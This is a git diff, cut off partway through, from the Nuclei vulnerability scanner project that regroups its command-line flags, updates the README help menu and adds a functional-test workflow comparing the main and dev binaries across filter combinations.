diff --git a/.github/workflows/functional-test.yml b/.github/workflows/functional-test.yml new file mode 100644 index 00000000..de2a43c9 --- /dev/null +++ b/.github/workflows/functional-test.yml @@ -0,0 +1,25 @@ +name: πŸ§ͺ Functional Test +on: + push: + pull_request: + workflow_dispatch: + + +jobs: + build: + name: Functional Test + runs-on: ubuntu-latest + steps: + - name: Set up Go + uses: actions/setup-go@v2 + with: + go-version: 1.15 + + - name: Check out code + uses: actions/checkout@v2 + + - name: Functional Tests + run: | + chmod +x run.sh + bash run.sh + working-directory: v2/cmd/functional-test \ No newline at end of file diff --git a/.gitignore b/.gitignore index 3de2ad36..e7532241 100644 --- a/.gitignore +++ b/.gitignore @@ -4,4 +4,10 @@ v2/cmd/nuclei/main v2/cmd/integration-test/integration-test integration_tests/integration-test integration_tests/nuclei -bin \ No newline at end of file +bin +v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class +v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class +v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser +v2/cmd/functional-test/nuclei_dev +v2/cmd/functional-test/nuclei_main +v2/cmd/functional-test/functional-test \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 6dda403a..d915a432 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM golang:1.15-alpine as build-env +FROM golang:1.16.6-alpine as build-env RUN GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei FROM alpine:latest diff --git a/README.md b/README.md index 83b85366..90a4cda4 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ - +

@@ -72,80 +72,103 @@ nuclei -h This will display help for the tool. Here are all the switches it supports. -
- πŸ‘‰ nuclei help menu πŸ‘ˆ -``` +```yaml +Nuclei is a fast, template based vulnerability scanner focusing +on extensive configurability, massive extensibility and ease of use. + Usage: - nuclei [flags] + ./nuclei [flags] Flags: - -H, -header value Custom Header. - -author value Templates to run based on author - -bs, -bulk-size int Maximum Number of hosts analyzed in parallel per template (default 25) - -c, -concurrency int Maximum Number of templates executed in parallel (default 10) - -config string Nuclei configuration file - -debug Debugging request and responses - -debug-req Debugging request - -debug-resp Debugging response - -et, -exclude value Templates to exclude, supports single and multiple templates using directory. - -etags, -exclude-tags value Exclude templates with the provided tags - -headless Enable headless browser based templates support - -impact, -severity value Templates to run based on severity - -irr, -include-rr Write requests/responses for matches in JSON output - -include-tags value Tags to force run even if they are in denylist - -include-templates value Templates to force run even if they are in denylist - -interactions-cache-size int Number of requests to keep in interactions cache (default 5000) - -interactions-cooldown-period int Extra time for interaction polling before exiting (default 5) - -interactions-eviction int Number of seconds to wait before evicting requests from cache (default 60) - -interactions-poll-duration int Number of seconds before each interaction poll request (default 5) - -interactsh-url string Self Hosted Interactsh Server URL (default https://interact.sh) - -json Write json output to files - -l, -list string List of URLs to run templates on - -me, -markdown-export string Directory to export results in markdown format - -metrics Expose nuclei metrics on a port - -metrics-port int Port to expose nuclei metrics on (default 9092) - -nc, -no-color Disable colors in output - -nt, -new-templates Only run newly added templates - -nm, -no-meta Don't display metadata for the matches - -no-interactsh Do not use interactsh server for blind interaction polling - -o, -output string File to write output to (optional) - -page-timeout int Seconds to wait for each page in headless (default 20) - -passive Enable Passive HTTP response processing mode - -project Use a project folder to avoid sending same request multiple times - -project-path string Use a user defined project folder, temporary folder is used if not specified but enabled - -proxy-socks-url string URL of the proxy socks server - -proxy-url string URL of the proxy server - -r, -resolvers string File containing resolver list for nuclei - -rl, -rate-limit int Maximum requests to send per second (default 150) - -rc, -report-config string Nuclei Reporting Module configuration file - -rdb, -report-db string Local Nuclei Reporting Database (Always use this to persistent report data) - -retries int Number of times to retry a failed request (default 1) - -se, -sarif-export string File to export results in sarif format - -show-browser Show the browser on the screen - -si, -stats-interval int Number of seconds between each stats line (default 5) - -silent Show only results in output - -spm, -stop-at-first-path Stop processing http requests at first match (this may break template/workflow logic) - -stats Display stats of the running scan - -stats-json Write stats output in JSON format - -system-resolvers Use system dns resolving as error fallback - -t, -templates value Templates to run, supports single and multiple templates using directory. - -tags value Tags to execute templates for - -u, -target string URL to scan with nuclei - -tv, -templates-version Shows the installed nuclei-templates version - -timeout int Time to wait in seconds before timeout (default 5) - -tl List available templates - -trace-log string File to write sent requests trace log - -ud, -update-directory string Directory storing nuclei-templates (default /Users/geekboy/nuclei-templates) - -ut, -update-templates Download / updates nuclei community templates - -v, -verbose Show verbose output - -validate Validate the passed templates to nuclei - -version Show version of nuclei - -vv Display Extra Verbose Information - -w, -workflows value Workflows to run for nuclei -``` +TARGET: + -u, -target string target URL/host to scan + -l, -list string path to file containing a list of target URLs/hosts to scan (one per line) -
+TEMPLATES: + -tl list all available templates + -t, -templates string[] template or template directory paths to include in the scan + -w, -workflows string[] list of workflows to run + -nt, -new-templates run newly added templates only + -validate validate the passed templates to nuclei + +FILTERING: + -tags string[] execute a subset of templates that contain the provided tags + -include-tags string[] tags from the default deny list that permit executing more intrusive templates + -etags, -exclude-tags string[] exclude templates with the provided tags + -include-templates string[] templates to be executed even if they are excluded either by default or configuration + -exclude-templates, -exclude string[] template or template directory paths to exclude + -severity, -impact string[] execute templates that match the provided severities only + -author string[] execute templates that are (co-)created by the specified authors + +OUTPUT: + -o, -output string output file to write found issues/vulnerabilities + -silent display findings only + -v, -verbose show verbose output + -vv display extra verbose information + -nc, -no-color disable output content coloring (ANSI escape codes) + -json write output in JSONL(ines) format + -irr, -include-rr include request/response pairs in the JSONL output (for findings only) + -nm, -no-meta don't display match metadata + -rdb, -report-db string local nuclei reporting database (always use this to persist report data) + -me, -markdown-export string directory to export results in markdown format + -se, -sarif-export string file to export results in SARIF format + +CONFIGURATIONS: + -config string path to the nuclei configuration file + -rc, -report-config string nuclei reporting module configuration file + -H, -header string[] custom headers in header:value format + -r, -resolvers string file containing resolver list for nuclei + -system-resolvers use system DNS resolving as error fallback + -passive enable passive HTTP response processing mode + +INTERACTSH: + -no-interactsh do not use interactsh server for blind interaction polling + -interactsh-url string self-hosted Interactsh Server URL (default "https://interact.sh") + -interactions-cache-size int number of requests to keep in the interactions cache (default 5000) + -interactions-eviction int number of seconds to wait before evicting requests from cache (default 60) + -interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5) + -interactions-cooldown-period int extra time for interaction polling before exiting (default 5) + +RATE-LIMIT: + -rl, -rate-limit int maximum number of requests to send per second (default 150) + -bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25) + -c, -concurrency int maximum number of templates to be executed in parallel (default 10) + +OPTIMIZATIONS: + -timeout int time to wait in seconds before timeout (default 5) + -retries int number of times to retry a failed request (default 1) + -project use a project folder to avoid sending same request multiple times + -project-path string set a specific project path (default "/var/folders/ml/m31ysb5x73l1s3kjlyn5g4180000gn/T/") + -spm, -stop-at-first-path stop processing HTTP requests after the first match (may break template/workflow logic) + +HEADLESS: + -headless enable templates that require headless browser support + -page-timeout int seconds to wait for each page in headless mode (default 20) + -show-browser show the browser on the screen when running templates with headless mode + +DEBUG: + -debug show all requests and responses + -debug-req show all sent requests + -debug-resp show all received responses + -proxy, -proxy-url string URL of the HTTP proxy server + -proxy-socks-url string URL of the SOCKS proxy server + -trace-log string file to write sent requests trace log + -version show nuclei version + -tv, -templates-version shows the version of the installed nuclei-templates + +UPDATE: + -update update nuclei to the latest released version + -ut, -update-templates update the community templates to latest released version + -ud, -update-directory string overwrite the default nuclei-templates directory (default "$HOME/nuclei-templates") + +STATISTICS: + -stats display statistics about the running scan + -stats-json write statistics data to an output file in JSONL(ines) format + -si, -stats-interval int number of seconds to wait between showing a statistics update (default 5) + -metrics expose nuclei metrics on a port + -metrics-port int port to expose nuclei metrics on (default 9092) +``` ### Running Nuclei @@ -243,8 +266,10 @@ We have [a discussion thread around this](https://github.com/projectdiscovery/nu - [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/) - [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/) - [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/) +- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/) - [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by [@dwisiswant0](https://github.com/dwisiswant0) - [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by [@dwisiswant0](https://github.com/dwisiswant0) +- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by [@DhiyaneshGeek](https://github.com/DhiyaneshGeek) ### Credits @@ -257,5 +282,5 @@ Thanks to all the amazing community [contributors for sending PRs](https://githu Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)

- Join Discord Check Nuclei Documentation + Join Discord Check Nuclei Documentation

diff --git a/v2/cmd/functional-test/main.go b/v2/cmd/functional-test/main.go new file mode 100644 index 00000000..1e54cda7 --- /dev/null +++ b/v2/cmd/functional-test/main.go @@ -0,0 +1,79 @@ +package main + +import ( + "bufio" + "flag" + "fmt" + "log" + "os" + "strings" + + "github.com/logrusorgru/aurora" + "github.com/pkg/errors" + "github.com/projectdiscovery/nuclei/v2/internal/testutils" +) + +var ( + success = aurora.Green("[βœ“]").String() + failed = aurora.Red("[✘]").String() + errored = false + + mainNucleiBinary = flag.String("main", "", "Main Branch Nuclei Binary") + devNucleiBinary = flag.String("dev", "", "Dev Branch Nuclei Binary") + testcases = flag.String("testcases", "", "Test cases file for nuclei functional tests") +) + +func main() { + flag.Parse() + + if err := runFunctionalTests(); err != nil { + log.Fatalf("Could not run functional tests: %s\n", err) + } + if errored { + os.Exit(1) + } +} + +func runFunctionalTests() error { + file, err := os.Open(*testcases) + if err != nil { + return errors.Wrap(err, "could not open test cases") + } + defer file.Close() + + scanner := bufio.NewScanner(file) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text == "" { + continue + } + if err := runIndividualTestCase(text); err != nil { + errored = true + fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, text, err) + } else { + fmt.Printf("%s Test \"%s\" passed!\n", success, text) + } + } + return nil +} + +func runIndividualTestCase(testcase string) error { + parts := strings.Fields(testcase) + + var finalArgs []string + if len(parts) > 1 { + finalArgs = parts[1:] + } + mainOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*mainNucleiBinary, finalArgs) + if err != nil { + return errors.Wrap(err, "could not run nuclei main test") + } + devOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*devNucleiBinary, finalArgs) + if err != nil { + return errors.Wrap(err, "could not run nuclei dev test") + } + if mainOutput == devOutput { + return nil + } + return fmt.Errorf("%s main is not equal to %sΒ dev", mainOutput, devOutput) +} diff --git a/v2/cmd/functional-test/run.sh b/v2/cmd/functional-test/run.sh new file mode 100644 index 00000000..030b2544 --- /dev/null +++ b/v2/cmd/functional-test/run.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +echo 'Building functional-test binary' +go build + +echo 'Building Nuclei binary from current branch' +go build -o nuclei_dev ../nuclei + +echo 'Installing latest release of nuclei' +GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei + +echo 'Starting Nuclei functional test' +./functional-test -main nuclei -dev ./nuclei_dev -testcases testcases.txt \ No newline at end of file diff --git a/v2/cmd/functional-test/testcases.txt b/v2/cmd/functional-test/testcases.txt new file mode 100644 index 00000000..18bfd326 --- /dev/null +++ b/v2/cmd/functional-test/testcases.txt @@ -0,0 +1,51 @@ +{{binary}} +{{binary}} -tags cve +{{binary}} -tags cve,exposure +{{binary}} -tags cve,exposure -tags token +{{binary}} -tags cve,exposure -tags token,logs +{{binary}} -tags "cve","exposure" -tags "token","logs" +{{binary}} -tags 'cve','exposure' -tags 'token','logs' +{{binary}} -tags cve -severity high +{{binary}} -tags cve,exposure -severity high,critical +{{binary}} -tags cve,exposure -severity "high,critical,medium" +{{binary}} -tags cve -author geeknik +{{binary}} -tags cve -author geeknik,pdteam +{{binary}} -tags cve -author geeknik -severity high +{{binary}} -tags cve +{{binary}} -tags cve,exposure +{{binary}} -tags cve,exposure -tags token +{{binary}} -tags cve,exposure -tags token,logs +{{binary}} -tags "cve","exposure" -tags "token","logs" +{{binary}} -tags 'cve','exposure' -tags 'token','logs' +{{binary}} -tags cve -severity high +{{binary}} -tags cve,exposure -severity high,critical +{{binary}} -tags cve,exposure -severity "high,critical,medium" +{{binary}} -tags cve -author geeknik +{{binary}} -tags cve -author geeknik,pdteam +{{binary}} -tags cve -author geeknik -severity high +{{binary}} -tags cve,exposure -author geeknik,pdteam -severity high,critical +{{binary}} -tags "cve,exposure" -author "geeknik,pdteam" -severity "high,critical" +{{binary}} -tags cve -etags ssrf +{{binary}} -tags cve,exposure -etags ssrf,config +{{binary}} -tags cve,exposure -etags ssrf,config -severity high +{{binary}} -tags cve,exposure -etags ssrf,config -severity high -author geeknik +{{binary}} -tags cve,dos,fuzz +{{binary}} -tags cve -include-tags dos,fuzz +{{binary}} -tags cve -exclude-tags cve2020 +{{binary}} -tags cve -exclude-templates cves/2020/ +{{binary}} -tags cve -exclude-templates cves/2020/CVE-2020-9757.yaml +{{binary}} -tags cve -exclude-templates cves/2020/CVE-2020-9757.yaml -exclude-templates cves/2021/ +{{binary}} -t cves/ +{{binary}} -t cves/ -t exposures/ +{{binary}} -t cves/ -t exposures/ -tags config +{{binary}} -t cves/ -t exposures/ -tags config,ssrf +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates cves/2021/ +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates cves/2017/CVE-2017-7269.yaml +{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -include-templates cves/2017/CVE-2017-7269.yaml +{{binary}} -w workflows +{{binary}} -w workflows -author geeknik,pdteam +{{binary}} -w workflows -severity high,critical +{{binary}} -w workflows -author geeknik,pdteam -severity high,critical \ No newline at end of file diff --git a/v2/cmd/integration-test/integration-test.go b/v2/cmd/integration-test/integration-test.go index 6b9e161c..ad416b5c 100644 --- a/v2/cmd/integration-test/integration-test.go +++ b/v2/cmd/integration-test/integration-test.go @@ -13,6 +13,8 @@ var ( debug = os.Getenv("DEBUG") == "true" customTest = os.Getenv("TEST") protocol = os.Getenv("PROTO") + + errored = false ) func main() { @@ -36,13 +38,16 @@ func main() { err := test.Execute(file) if err != nil { fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, file, err) - os.Exit(1) + errored = true } else { fmt.Printf("%s Test \"%s\" passed!\n", success, file) } } } } + if errored { + os.Exit(1) + } } func errIncorrectResultsCount(results []string) error { diff --git a/v2/cmd/nuclei/main.go b/v2/cmd/nuclei/main.go index 25f2d753..451773bd 100644 --- a/v2/cmd/nuclei/main.go +++ b/v2/cmd/nuclei/main.go @@ -26,6 +26,9 @@ func main() { if err != nil { gologger.Fatal().Msgf("Could not create runner: %s\n", err) } + if nucleiRunner == nil { + return + } if err := nucleiRunner.RunEnumeration(); err != nil { gologger.Fatal().Msgf("Could not run nuclei: %s\n", err) } @@ -36,82 +39,147 @@ func readConfig() { home, _ := os.UserHomeDir() templatesDirectory := path.Join(home, "nuclei-templates") - set := goflags.NewFlagSet() - set.SetDescription(`Nuclei is a fast tool for configurable targeted scanning -based on templates offering massive extensibility and ease of use.`) + flagSet := goflags.NewFlagSet() + flagSet.SetDescription(`Nuclei is a fast, template based vulnerability scanner focusing +on extensive configurability, massive extensibility and ease of use.`) /* TODO Important: The defined default values, especially for slice/array types are NOT DEFAULT VALUES, but rather implicit values to which the user input is appended. This can be very confusing and should be addressed */ - set.StringVar(&cfgFile, "config", "", "Nuclei configuration file") - set.BoolVar(&options.Metrics, "metrics", false, "Expose nuclei metrics on a port") - set.IntVar(&options.MetricsPort, "metrics-port", 9092, "Port to expose nuclei metrics on") - set.StringVarP(&options.Target, "target", "u", "", "URL to scan with nuclei") - set.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "Templates to run, supports single and multiple templates using directory.") - set.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "Workflows to run for nuclei") - set.StringSliceVarP(&options.ExcludedTemplates, "exclude", "exclude-templates", []string{}, "Templates to exclude, supports single and multiple templates using directory.") - set.VarP(&options.Severities, "severity", "impact", fmt.Sprintf("Templates to run based on severity. Possible values: %s", severity.GetSupportedSeverities().String())) - set.StringSliceVar(&options.Author, "author", []string{}, "Templates to run based on author") - set.StringSliceVar(&options.IncludeTemplates, "include-templates", []string{}, "Templates to force run even if they are in denylist") - set.StringSliceVar(&options.IncludeTags, "include-tags", []string{}, "Tags to force run even if they are in denylist") - set.StringVarP(&options.Targets, "list", "l", "", "List of URLs to run templates on") - set.StringVarP(&options.Output, "output", "o", "", "File to write output to (optional)") - set.StringVarP(&options.ProxyURL, "proxy-url", "proxy", "", "URL of the proxy server") - set.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the proxy socks server") - set.BoolVar(&options.Silent, "silent", false, "Show only results in output") - set.BoolVar(&options.Version, "version", false, "Show version of nuclei") - set.BoolVarP(&options.Verbose, "verbose", "v", false, "Show verbose output") - set.BoolVarP(&options.NoColor, "no-color", "nc", false, "Disable colors in output") - set.IntVar(&options.Timeout, "timeout", 5, "Time to wait in seconds before timeout") - set.IntVar(&options.Retries, "retries", 1, "Number of times to retry a failed request") - set.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "Custom Header.") - set.BoolVar(&options.Debug, "debug", false, "Debugging request and responses") - set.BoolVar(&options.DebugRequests, "debug-req", false, "Debugging request") - set.BoolVar(&options.DebugResponse, "debug-resp", false, "Debugging response") - set.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "Download / updates nuclei community templates") - set.StringVar(&options.TraceLogFile, "trace-log", "", "File to write sent requests trace log") - set.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "Directory storing nuclei-templates") - set.BoolVar(&options.JSON, "json", false, "Write json output to files") - set.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "Write requests/responses for matches in JSON output") - set.BoolVar(&options.EnableProgressBar, "stats", false, "Display stats of the running scan") - set.BoolVar(&options.TemplateList, "tl", false, "List available templates") - set.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "Maximum requests to send per second") - set.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "Stop processing http requests at first match (this may break template/workflow logic)") - set.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "Maximum Number of hosts analyzed in parallel per template") - set.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "Maximum Number of templates executed in parallel") - set.BoolVar(&options.Project, "project", false, "Use a project folder to avoid sending same request multiple times") - set.StringVar(&options.ProjectPath, "project-path", "", "Use a user defined project folder, temporary folder is used if not specified but enabled") - set.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "Don't display metadata for the matches") - set.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "Shows the installed nuclei-templates version") - set.BoolVar(&options.OfflineHTTP, "passive", false, "Enable Passive HTTP response processing mode") - set.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "Nuclei Reporting Module configuration file") - set.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "Local Nuclei Reporting Database (Always use this to persistent report data)") - set.StringSliceVar(&options.Tags, "tags", []string{}, "Tags to execute templates for") - set.StringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "Exclude templates with the provided tags") - set.StringVarP(&options.ResolversFile, "resolvers", "r", "", "File containing resolver list for nuclei") - set.BoolVar(&options.Headless, "headless", false, "Enable headless browser based templates support") - set.BoolVar(&options.ShowBrowser, "show-browser", false, "Show the browser on the screen") - set.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "Number of seconds between each stats line") - set.BoolVar(&options.StatsJSON, "stats-json", false, "Write stats output in JSON format") - set.BoolVar(&options.SystemResolvers, "system-resolvers", false, "Use system dns resolving as error fallback") - set.IntVar(&options.PageTimeout, "page-timeout", 20, "Seconds to wait for each page in headless") - set.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "Only run newly added templates") - set.StringVarP(&options.DiskExportDirectory, "markdown-export", "me", "", "Directory to export results in markdown format") - set.StringVarP(&options.SarifExport, "sarif-export", "se", "", "File to export results in sarif format") - set.BoolVar(&options.NoInteractsh, "no-interactsh", false, "Do not use interactsh server for blind interaction polling") - set.StringVar(&options.InteractshURL, "interactsh-url", "https://interact.sh", "Self Hosted Interactsh Server URL") - set.IntVar(&options.InteractionsCacheSize, "interactions-cache-size", 5000, "Number of requests to keep in interactions cache") - set.IntVar(&options.InteractionsEviction, "interactions-eviction", 60, "Number of seconds to wait before evicting requests from cache") - set.IntVar(&options.InteractionsPollDuration, "interactions-poll-duration", 5, "Number of seconds before each interaction poll request") - set.IntVar(&options.InteractionsColldownPeriod, "interactions-cooldown-period", 5, "Extra time for interaction polling before exiting") - set.BoolVar(&options.VerboseVerbose, "vv", false, "Display Extra Verbose Information") - set.BoolVar(&options.Validate, "validate", false, "Validate the passed templates to nuclei") - _ = set.Parse() + createGroup(flagSet, "input", "Target", + flagSet.StringVarP(&options.Target, "target", "u", "", "target URL/host to scan"), + flagSet.StringVarP(&options.Targets, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"), + ) + + createGroup(flagSet, "templates", "Templates", + flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"), + + flagSet.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "template or template directory paths to include in the scan"), + flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "list of workflows to run"), + + flagSet.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "run newly added templates only"), + flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"), + ) + + createGroup(flagSet, "filters", "Filtering", + flagSet.NormalizedStringSliceVar(&options.Tags, "tags", []string{}, "execute a subset of templates that contain the provided tags"), + flagSet.NormalizedStringSliceVar(&options.IncludeTags, "include-tags", []string{}, "tags from the default deny list that permit executing more intrusive templates"), // TODO show default deny list + flagSet.NormalizedStringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "exclude templates with the provided tags"), + + flagSet.StringSliceVar(&options.IncludeTemplates, "include-templates", []string{}, "templates to be executed even if they are excluded either by default or configuration"), + flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude", "exclude-templates", []string{}, "template or template directory paths to exclude"), + + flagSet.VarP(&options.Severities, "impact", "severity", fmt.Sprintf("Templates to run based on severity. Possible values: %s", severity.GetSupportedSeverities().String())), + flagSet.NormalizedStringSliceVar(&options.Author, "author", []string{}, "execute templates that are (co-)created by the specified authors"), + ) + + createGroup(flagSet, "output", "Output", + flagSet.StringVarP(&options.Output, "output", "o", "", "output file to write found issues/vulnerabilities"), + + flagSet.BoolVar(&options.Silent, "silent", false, "display findings only"), + flagSet.BoolVarP(&options.Verbose, "verbose", "v", false, "show verbose output"), + flagSet.BoolVar(&options.VerboseVerbose, "vv", false, "display extra verbose information"), + flagSet.BoolVarP(&options.NoColor, "no-color", "nc", false, "disable output content coloring (ANSI escape codes)"), + + flagSet.BoolVar(&options.JSON, "json", false, "write output in JSONL(ines) format"), + flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "include request/response pairs in the JSONL output (for findings only)"), + + flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "don't display match metadata"), + flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "local nuclei reporting database (always use this to persist report data)"), + + flagSet.StringVarP(&options.DiskExportDirectory, "markdown-export", "me", "", "directory to export results in markdown format"), + flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"), + ) + + createGroup(flagSet, "configs", "Configurations", + flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"), + flagSet.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "nuclei reporting module configuration file"), // TODO merge into the config file or rename to issue-tracking + + flagSet.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "custom headers in header:value format"), + + flagSet.StringVarP(&options.ResolversFile, "resolvers", "r", "", "file containing resolver list for nuclei"), + flagSet.BoolVar(&options.SystemResolvers, "system-resolvers", false, "use system DNS resolving as error fallback"), + flagSet.BoolVar(&options.OfflineHTTP, "passive", false, "enable passive HTTP response processing mode"), + ) + + createGroup(flagSet, "interactsh", "interactsh", + flagSet.BoolVar(&options.NoInteractsh, "no-interactsh", false, "do not use interactsh server for blind interaction polling"), + flagSet.StringVar(&options.InteractshURL, "interactsh-url", "https://interact.sh", "self-hosted Interactsh Server URL"), + + flagSet.IntVar(&options.InteractionsCacheSize, "interactions-cache-size", 5000, "number of requests to keep in the interactions cache"), + flagSet.IntVar(&options.InteractionsEviction, "interactions-eviction", 60, "number of seconds to wait before evicting requests from cache"), + flagSet.IntVar(&options.InteractionsPollDuration, "interactions-poll-duration", 5, "number of seconds to wait before each interaction poll request"), + flagSet.IntVar(&options.InteractionsColldownPeriod, "interactions-cooldown-period", 5, "extra time for interaction polling before exiting"), + ) + + createGroup(flagSet, "rate-limit", "Rate-Limit", + flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"), + flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute"), + flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"), + flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "maximum number of templates to be executed in parallel"), + ) + + createGroup(flagSet, "optimization", "Optimizations", + flagSet.IntVar(&options.Timeout, "timeout", 5, "time to wait in seconds before timeout"), + flagSet.IntVar(&options.Retries, "retries", 1, "number of times to retry a failed request"), + + flagSet.BoolVar(&options.Project, "project", false, "use a project folder to avoid sending same request multiple times"), + flagSet.StringVar(&options.ProjectPath, "project-path", os.TempDir(), "set a specific project path"), + + flagSet.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "stop processing HTTP requests after the first match (may break template/workflow logic)"), + ) + + createGroup(flagSet, "headless", "Headless", + flagSet.BoolVar(&options.Headless, "headless", false, "enable templates that require headless browser support"), + flagSet.IntVar(&options.PageTimeout, "page-timeout", 20, "seconds to wait for each page in headless mode"), + flagSet.BoolVar(&options.ShowBrowser, "show-browser", false, "show the browser on the screen when running templates with headless mode"), + ) + + createGroup(flagSet, "debug", "Debug", + flagSet.BoolVar(&options.Debug, "debug", false, "show all requests and responses"), + flagSet.BoolVar(&options.DebugRequests, "debug-req", false, "show all sent requests"), + flagSet.BoolVar(&options.DebugResponse, "debug-resp", false, "show all received responses"), + + /* TODO why the separation? http://proxy:port vs socks5://proxy:port etc + TODO should auto-set the HTTP_PROXY variable for the process? */ + flagSet.StringVarP(&options.ProxyURL, "proxy-url", "proxy", "", "URL of the HTTP proxy server"), + flagSet.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the SOCKS proxy server"), + + flagSet.StringVar(&options.TraceLogFile, "trace-log", "", "file to write sent requests trace log"), + + flagSet.BoolVar(&options.Version, "version", false, "show nuclei version"), + flagSet.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "shows the version of the installed nuclei-templates"), + ) + + createGroup(flagSet, "update", "Update", + flagSet.BoolVar(&options.UpdateNuclei, "update", false, "update nuclei to the latest released version"), + flagSet.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "update the community templates to latest released version"), + flagSet.BoolVarP(&options.NoUpdateTemplates, "no-update-templates", "nut", false, "Do not check for nuclei-templates updates"), + flagSet.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "overwrite the default nuclei-templates directory"), + ) + + createGroup(flagSet, "stats", "Statistics", + flagSet.BoolVar(&options.EnableProgressBar, "stats", false, "display statistics about the running scan"), + flagSet.BoolVar(&options.StatsJSON, "stats-json", false, "write statistics data to an output file in JSONL(ines) format"), + flagSet.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "number of seconds to wait between showing a statistics update"), + + flagSet.BoolVar(&options.Metrics, "metrics", false, "expose nuclei metrics on a port"), + flagSet.IntVar(&options.MetricsPort, "metrics-port", 9092, "port to expose nuclei metrics on"), + ) + + _ = flagSet.Parse() if cfgFile != "" { - if err := set.MergeConfigFile(cfgFile); err != nil { + if err := flagSet.MergeConfigFile(cfgFile); err != nil { gologger.Fatal().Msgf("Could not read config: %s\n", err) } } } + +func createGroup(flagSet *goflags.FlagSet, groupName, description string, flags ...*goflags.FlagData) { + flagSet.SetGroup(groupName, description) + for _, currentFlag := range flags { + currentFlag.Group(groupName) + } +} diff --git a/v2/go.mod b/v2/go.mod index 596b7b43..766add0b 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -5,15 +5,19 @@ go 1.15 require ( github.com/Knetic/govaluate v3.0.0+incompatible github.com/andygrunwald/go-jira v1.13.0 + github.com/apex/log v1.9.0 github.com/blang/semver v3.5.1+incompatible + github.com/c4milo/unpackit v0.1.0 // indirect 